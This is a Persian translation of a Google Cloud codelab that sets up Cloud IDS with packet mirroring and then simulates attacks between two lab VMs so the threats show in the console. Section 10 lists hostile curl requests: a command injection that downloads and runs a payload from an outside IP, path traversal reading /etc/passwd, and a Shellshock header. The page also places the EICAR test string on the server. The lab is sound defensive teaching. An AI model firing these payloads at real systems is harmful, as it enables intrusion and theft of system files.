Cloud IDS

1. مقدمه

در این آزمایشگاه، Cloud IDS، یک سرویس تشخیص نفوذ پیشرفته نسل بعدی است که تشخیص تهدید برای نفوذ، بدافزار، جاسوس‌افزار و حملات فرمان و کنترل را فراهم می‌کند. شما چندین حمله را شبیه سازی خواهید کرد و جزئیات تهدید را در Cloud Console مشاهده خواهید کرد.

چیزی که یاد خواهید گرفت

  • نحوه ایجاد یک نقطه پایانی Cloud IDS
  • نحوه ایجاد 2 ماشین مجازی با دستورات gcloud
  • نحوه ایجاد یک خط مشی انعکاسی بسته
  • نحوه شبیه سازی ترافیک حمله از یک ماشین مجازی
  • نحوه مشاهده جزئیات تهدید در Cloud Console و Cloud Logging

آنچه شما نیاز دارید

  • آشنایی با دستورات اولیه لینوکس

2. موارد استفاده Cloud IDS

Cloud IDS یک سرویس تشخیص نفوذ (IDS) بومی Google Cloud را برای مشتریان فراهم می‌کند تا نیازهای تشخیص تهدید پیشرفته و الزامات انطباق مانند PCI 11.4 را برآورده کنند. این سرویس توسط فناوری‌های حفاظت از تهدیدات شبکه‌های Palo Alto برای ارائه تشخیص نفوذ پیشرفته پشتیبانی می‌شود. ترکیب زیرساخت‌های کلاس جهانی Google Cloud با امنیت در سطح جهانی از شبکه‌های پالو آلتو، ترکیبی بی‌نظیر از یک سرویس تشخیص تهدید پیشرفته کاملاً مدیریت شده، با کارایی بالا و بالاترین کارایی امنیتی را در اختیار مشتریان قرار می‌دهد.

همانطور که مشتریان به ابر مهاجرت می کنند، امنیت برای آنها مهم است. آن‌ها می‌خواهند کنترل‌های امنیتی مشابهی را داشته باشند، مانند سرویس تشخیص نفوذ (IDS) در ابر. آنها به شدت ترجیح می دهند از راه حل IDS مدیریت شده بومی ابری برای سهولت استقرار، کارایی بالا و هزینه های بهینه در مقایسه با استقرار راه حل امنیتی شخص ثالث و مدیریت زیرساخت یا آوردن امضای خود استفاده کنند. Google Cloud IDS یک سرویس IDS مدیریت شده با مقیاس خودکار و سرتاسر ارائه می‌کند که مشتریان را قادر می‌سازد وقت خود را صرف تجزیه و تحلیل و کاهش تهدیدها کنند و زمان و منابع خود را برای مدیریت زیرساخت یا امضاهای تهدید آزاد می‌کند.

Cloud IDS خارج از باند مستقر است و می تواند تهدیدها را شناسایی و هشدار دهد، اما نمی تواند تهدیدها را مسدود کند. این ابزار از Google Cloud Packet Mirroring برای ایجاد یک کپی از ترافیک شبکه استفاده می کند که با استفاده از موتور تشخیص تهدید شبکه Palo Alto تجزیه و تحلیل می شود.

3. توپولوژی Codelab

5a276f399e1d31e2.png

شکل 1. نمای کلی معماری سطح بالا از استقرار Cloud IDS برای این آزمایشگاه.

4. راه اندازی و الزامات

تنظیم محیط خود به خود

  1. به Google Cloud Console وارد شوید و یک پروژه جدید ایجاد کنید یا از یک موجود استفاده مجدد کنید. اگر قبلاً یک حساب Gmail یا Google Workspace ندارید، باید یک حساب ایجاد کنید .

96a9c957bc475304.png

b9a10ebdf5b5a448.png

a1e3c01a38fa61c2.png

  • نام پروژه نام نمایشی برای شرکت کنندگان این پروژه است. این یک رشته کاراکتری است که توسط API های Google استفاده نمی شود و می توانید هر زمان که بخواهید آن را به روز کنید.
  • شناسه پروژه باید در تمام پروژه‌های Google Cloud منحصربه‌فرد باشد و تغییرناپذیر باشد (پس از تنظیم نمی‌توان آن را تغییر داد). Cloud Console به طور خودکار یک رشته منحصر به فرد تولید می کند. معمولاً برای شما مهم نیست که چیست. در اکثر کدها، باید به شناسه پروژه ارجاع دهید (و معمولاً به عنوان PROJECT_ID شناخته می‌شود)، بنابراین اگر آن را دوست ندارید، یک نمونه تصادفی دیگر ایجاد کنید، یا می‌توانید شناسه پروژه را امتحان کنید و ببینید در دسترس است. سپس پس از ایجاد پروژه "یخ زده" می شود.
  • یک مقدار سوم وجود دارد، یک شماره پروژه که برخی از API ها از آن استفاده می کنند. در مورد هر سه این مقادیر در مستندات بیشتر بیاموزید.
  1. در مرحله بعد، برای استفاده از منابع Cloud/APIها، باید صورتحساب را در کنسول Cloud فعال کنید . اجرا کردن از طریق این کد لبه نباید هزینه زیادی داشته باشد، اگر اصلاً باشد. برای اینکه منابع را خاموش کنید تا بیش از این آموزش متحمل صورتحساب نشوید، دستورالعمل‌های «پاک‌سازی» را که در انتهای Codelab یافت می‌شود دنبال کنید. کاربران جدید Google Cloud واجد شرایط برنامه آزمایشی رایگان 300 دلاری هستند.

Cloud Shell را راه اندازی کنید

در حالی که Google Cloud را می توان از راه دور از لپ تاپ شما کار کرد، در این کد لبه از Google Cloud Shell استفاده خواهید کرد، یک محیط خط فرمان که در Cloud اجرا می شود.

از کنسول GCP روی نماد Cloud Shell در نوار ابزار بالا سمت راست کلیک کنید:

bce75f34b2c53987.png

تهیه و اتصال به محیط فقط چند لحظه طول می کشد. وقتی تمام شد، باید چیزی شبیه به این را ببینید:

f6ef2b5f13479f3a.png

این ماشین مجازی با تمام ابزارهای توسعه که شما نیاز دارید بارگذاری شده است. این یک فهرست اصلی 5 گیگابایتی دائمی را ارائه می دهد و در Google Cloud اجرا می شود و عملکرد و احراز هویت شبکه را تا حد زیادی افزایش می دهد. تمام کارهای شما در این آزمایشگاه به سادگی با یک مرورگر قابل انجام است.

5. قبل از شروع

API ها را فعال کنید

در داخل Cloud Shell، مطمئن شوید که شناسه پروژه شما تنظیم شده است

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

تمام خدمات لازم را فعال کنید

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6. شبکه VPC ایجاد کنید

شبکه VPC

از Cloud Shell

gcloud compute networks create cloud-ids \
--subnet-mode=custom

زیر شبکه

از Cloud Shell

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

دسترسی به سرویس خصوصی

از Cloud Shell

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

اتصال سرویس خصوصی

از Cloud Shell

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

قوانین فایروال

برای اینکه به IAP اجازه دهید به نمونه های VM شما متصل شود، یک قانون فایروال ایجاد کنید که:

  • برای تمام نمونه های VM که می خواهید با استفاده از IAP در دسترس باشند، اعمال می شود.
  • به ترافیک ورودی از محدوده IP 35.235.240.0/20 اجازه می دهد. این محدوده شامل تمام آدرس های IP است که IAP برای ارسال TCP استفاده می کند.

از Cloud Shell

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

برای اجازه دادن پورت استاندارد HTTP (TCP 80) و پروتکل ICMP به سرور:

  • برای منابع با برچسب شبکه "سرور" اعمال می شود
  • اجازه ورود از همه منابع را می دهد

از Cloud Shell

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

نمونه Cloud NAT را ایجاد کنید

روتر ابری

از Cloud Shell

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

Cloud NAT

از Cloud Shell

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. نقطه پایانی Cloud IDS ایجاد کنید

در این بخش، یک Cloud IDS Endpoint در us-east1 ایجاد می‌کنید که شدت آن روی اطلاعات تنظیم شده است. ایجاد نقطه پایانی IDS تقریباً 20 دقیقه طول می کشد.

نقطه پایانی IDS

از Cloud Shell

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

تأیید کنید که نقطه پایانی Cloud IDS آغاز شده است

gcloud ids endpoints list --project=$PROJECT_ID

خروجی -

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. 2 ماشین مجازی ایجاد کنید

در این قسمت شما 2 ماشین مجازی ایجاد می کنید. اولین مورد سرور وب شما خواهد بود که به Cloud IDS منعکس می شود. ماشین مجازی دوم منبع ترافیک حمله شما خواهد بود.

ماشین مجازی 1 (سرور)

از Cloud Shell

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

ماشین مجازی 2 (کلینت)

از Cloud Shell

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9. آماده سازی سرور

در این کار، سرور خود را اعتبارسنجی می‌کنید و یک بدافزار خوش‌خیم برای مشتری خود فراهم می‌کنید.

SSH به VM از طریق Cloud Shell

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

تأیید کنید که وب سرویس در حال اجرا است

sudo systemctl status nginx

خروجی - فعال بودن و در حال اجرا بودن را تأیید کنید

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

دایرکتوری را به وب سرویس تغییر دهید

cd /var/www/html/

یک فایل بدافزار خوش خیم در سرور وب ایجاد کنید

sudo touch eicar.file

در محتویات بچسبانید

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

بازگشت به CloudShell

exit

یک خط مشی انعکاسی بسته های Cloud IDS ایجاد کنید

قانون ارسال نقطه پایانی IDS را شناسایی کنید و تأیید کنید که وضعیت نقطه پایانی IDS "آماده" است.

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

خروجی مثال - مقدار را از "endpointForwardingRule" کپی کنید

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

IDS Endpoint Forwarding Rule را در یک متغیر ذخیره کنید.

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

سیاست انعکاس بسته

از Cloud Shell

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

بررسی کنید که خط مشی انعکاس بسته ایجاد شده است

از Cloud Shell

gcloud compute packet-mirrorings list

خروجی

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. شبیه سازی ترافیک حمله

SSH به ماشین مجازی مهاجم (Client)

از Cloud Shell

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

برای شبیه سازی ترافیک مخرب، درخواست های curl زیر را اجرا کنید.

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

برای بازگشت به CloudShell از VM خارج شوید

exit

11. تهدیدهای شناسایی شده توسط Cloud IDS را بررسی کنید

به داشبورد Cloud IDS بروید

منوی پیمایش > امنیت شبکه > Cloud IDS

37583419aa604aa8.png

به تب Threats بروید.

b7d934f409b4e2b.png

همانطور که می بینید، Cloud IDS پروفایل های مختلف ترافیک حمله را ضبط کرده و جزئیات مربوط به هر تهدید را ارائه می دهد. اگر هیچ تهدیدی را مشاهده نکردید، ممکن است لازم باشد روی دکمه "Refresh" کلیک کنید. اکنون کمی عمیق‌تر می‌شویم و جزئیات تهدید را مشاهده می‌کنیم.

تهدید "Bash Remote Code Execution Vulnerability" را پیدا کنید و روی سه نقطه سمت راست کلیک کنید و "View gef details" را انتخاب کنید.

b122b30dd8d43d9b.png

ee1b201a12db7ef7.png

اکنون جزئیات این حادثه را در Cloud Logging مشاهده خواهیم کرد. با کلیک بر روی فلش سمت چپ به صفحه تهدیدها برگردید.

روی سه نقطه سمت راست کلیک کنید و "View logs kërcënim" را انتخاب کنید.

b122b30dd8d43d9b.png

ff0d5a0d652ddd83.png

همان جزئیات به Cloud Logging ارائه شده است. این به شما امکان می‌دهد گزارش‌ها را به Cloud Storage، Chronicle یا هر SIEM/SOAR ارسال کنید. همچنین می‌توانید گردش‌های کاری سفارشی برای انجام اقدامات اصلاحی بر اساس هشدارها ایجاد کنید، مثلاً ایجاد یک تابع ابری که در یک هشدار فعال می‌شود و یک قانون دیوار آتش را برای مسدود کردن آدرس IP ایجاد/به‌روزرسانی کنید، یا یک خط‌مشی Cloud Armor را ایجاد/به‌روزرسانی کنید.

12. مراحل پاکسازی

خروج از نمونه VM (همه برگه ها)

exit

از یک ترمینال Cloud Shell، اجزای آزمایشگاه را حذف کنید

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. تبریک می گویم!

برای تکمیل کد لبه تبریک می گویم.

آنچه را پوشش داده ایم

  • موارد استفاده Cloud IDS
  • الزامات شبکه
  • API های پشتیبانی شده
  • یک نقطه پایانی Cloud IDS ایجاد کرد
  • 2 ماشین مجازی مستقر شده است
  • ایجاد مقداری ترافیک "حمله ای" از مشتری
  • تهدیدات تأیید شده توسط IDS شناسایی شدند
  • بررسی جزئیات تهدید و سیاهههای مربوط